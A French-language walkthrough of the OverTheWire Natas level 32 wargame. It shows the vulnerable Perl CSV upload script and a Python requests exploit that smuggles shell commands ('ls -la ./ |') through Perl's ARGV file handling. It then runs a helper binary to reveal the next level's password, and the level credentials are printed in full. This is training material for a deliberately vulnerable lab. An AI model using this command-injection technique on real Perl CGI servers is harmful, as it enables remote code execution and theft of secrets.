Natas 32
Level Goal
Username: natas32
Password: no1vohsheCaiv3ieH4em1ahchisainge
URL: http://natas32.natas.labs.overthewire.org
En se connectant à la page du challenge 32 on arrive sur un formulaire de conversion de CSV vers HTML identique au précédent. Le code source en PERL, est le suivant :
#!/usr/bin/perl
use CGI;
$ENV{'TMPDIR'}="WWWDIR/tmp/";
# print HTML [...]
my $cgi = CGI->new;
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
print '<table class="sortable table table-hover table-striped">';
$i=0;
while (<$file>) {
my @elements=split /,/, $_;
if($i==0){ # header
print "<tr>";
foreach(@elements){
print "<th>".$cgi->escapeHTML($_)."</th>";
}
print "</tr>";
}
else{ # table content
print "<tr>";
foreach(@elements){
print "<td>".$cgi->escapeHTML($_)."</td>";
}
print "</tr>";
}
$i+=1;
}
print '</table>';
}
else{
# print HTML [...]
}
# print HTML [...]
D'après la consigne nous devons trouver un fichier à exécuter au niveau du dossier courant. Utilisons notre script Python de l'épreuve précédente associé à une commande ls -la ./
pour lister le répertoire courant :
import requests
session = requests.Session()
response = session.post(
"http://natas32.natas.labs.overthewire.org/?ls -la ./ |",
files={'file': ''},
data={"file": "ARGV"},
auth=requests.auth.HTTPBasicAuth("natas32", "no1vohsheCaiv3ieH4em1ahchisainge"),
)
print(response.text)
On obtient la liste de fichiers suivants :
.
..
.htaccess
.htpasswd
bootstrap-3.3.6-dist
getpassword
getpassword.c
getpassword.c.tmpl
index-source.html
index-source.pl
index.pl
index.pl.tmpl
jquery-1.12.3.min.js
sorttable.js
tmp
Regardons le code de getpassword.c
via la commande cat getpassword.c
:
int main(){
int c;
FILE *file;
file = fopen("/etc/natas_webpass/natas33"</td><td> "r");
if (file) {
while ((c = getc(file)) != EOF)
putchar(c);
fclose(file);
}
return 0;
}
Rien de particulier à noter, le programme affiche les caractères du mot de passe un à un.
Exécutons le programme associé via la commande ./getpassword
. On obtient le mot de passe du prochain niveau : shoogeiGa2yee3de6Aex8uaXeech5eey
.